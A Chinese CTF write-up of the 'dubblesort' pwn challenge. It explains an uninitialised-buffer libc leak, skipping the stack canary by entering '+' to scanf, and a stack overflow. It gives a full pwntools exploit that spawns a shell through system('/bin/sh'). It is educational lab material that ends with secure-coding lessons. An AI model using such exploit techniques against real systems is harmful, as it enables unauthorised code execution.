攻防世界PWN之dubblesort題解

dubblesort

首先看一下程序的保護機制

保護全開,並且是一個32位程序

然後,我們用IDA分析一下

這裏,有兩個漏洞

 

第一個是在調用read之前,沒有調用memsetbuf清空,因此,buf裏可能之前會有一些殘留的關鍵數據

第二個是,輸入的整數個數沒有上限,可以造成數據溢出,其實也就是棧溢出。

我們read斷點,然後觀察棧中的數據,發現數據還未輸入時,棧裏就有一些關鍵數據

我們可以輸入7 * 4 = 28個字符,然後printf時,就會把接下來的數據打印出來,直到遇\x00

泄露這個數據後(當前爲0xF7797244),然後我們找到libc的基地址,當前爲0xF75E9000

然後我,我們算的它們之間的偏移

Off = 0xF7797244 - 0xF75E9000 = 0x1AE244

於是,我們就這樣泄露libc地址

  1. #泄露地址並計算出libc的地址  
  2. payload = 'a'*0x1C  
  3. sh.sendafter('name :',payload)  
  4. sh.recvuntil(payload)  
  5. #計算libc加載地址  
  6. libc_base = u32(sh.recv(4)) - off  
  7. system_addr = libc_base + libc.sym['system']  
  8. binsh_addr = libc_base + libc.search('/bin/sh').next()  

 

接下來,我們來做一個實驗,讓我們先拋開本題,來看看這樣的代碼

  1. #include <stdio.h>  
  2. int main() {  
  3.     int a = 10;  
  4.     while (true) {  
  5.         scanf("%u",&a);  
  6.         printf("%u\n",a);  
  7.     }  
  8. }  

然後,我們發現,當我們輸入+-符號,scanf就直接跳過了對a的輸入

經過測試,%u%x%d等都有這種特性

 

然後,我們繼續分析此題,

我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位於ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,因此,我們先輸入(0x70-0x10)/4 = 24個整數,然後接下來輸入+-號,跳過當前輸入,然後我們到達ebp-0xC處,距離返回地址ebp+0x4還差0x10/4=4個,因此,我們繼續輸入4個整數,接下來,我們再輸入ROP即可

注意,本題IDA分析出來的位置相對於ebp不準,但是各個變量之間的相對關係還是準的

 

實際,距離返回地址ebp+0x4還差7個,調試調試就知道了

由於,我們輸入的數據會做一遍升序排序,所以,爲了保留我們輸入的順序,我們前24個數據都輸入0,然後輸入+-跳過canary,然後輸入(7 + 1 + 1)system的地址整數值,然後輸入一個binsh_addr的整數值,程序退出main後,便執行shell

因爲system_addr總是小於binsh_addr,而這兩個地址值一般大於canary的值,canary是個隨機生成的數,如果有時不滿足這個大小關係,只需重新執行程序,多試幾次即可。

於是,我們最終的exp腳本是這樣的

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})  
  5. #sh = remote('111.198.29.45',57605)  
  6. libc = ELF('./libc_32.so.6')  
  7. off = 0x1AE244  
  8.   
  9. #泄露地址並計算出libc的地址  
  10. payload = 'a'*0x1C  
  11. sh.sendafter('name :',payload)  
  12. sh.recvuntil(payload)  
  13. #計算libc加載地址  
  14. libc_base = u32(sh.recv(4)) - off  
  15. system_addr = libc_base + libc.sym['system']  
  16. binsh_addr = libc_base + libc.search('/bin/sh').next()  
  17.   
  18. print 'libc_base=',hex(libc_base)  
  19. print 'system_addr=',hex(system_addr)  
  20.   
  21. n = 35  
  22. sh.sendlineafter('sort :',str(n))  
  23.   
  24. for i in range(0,n-11):  
  25.    sh.sendlineafter('number :',str(0))  
  26.   
  27. sh.sendlineafter('number :','+')  
  28.   
  29. for i in range(0,9):  
  30.    sh.sendlineafter('number :',str(system_addr))  
  31. sh.sendlineafter('number :',str(binsh_addr))  
  32.   
  33. sh.interactive()  

 

本題告訴我們,

用read讀取數據到緩衝區前,先對緩衝區初始化

數組要檢查下標越界

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章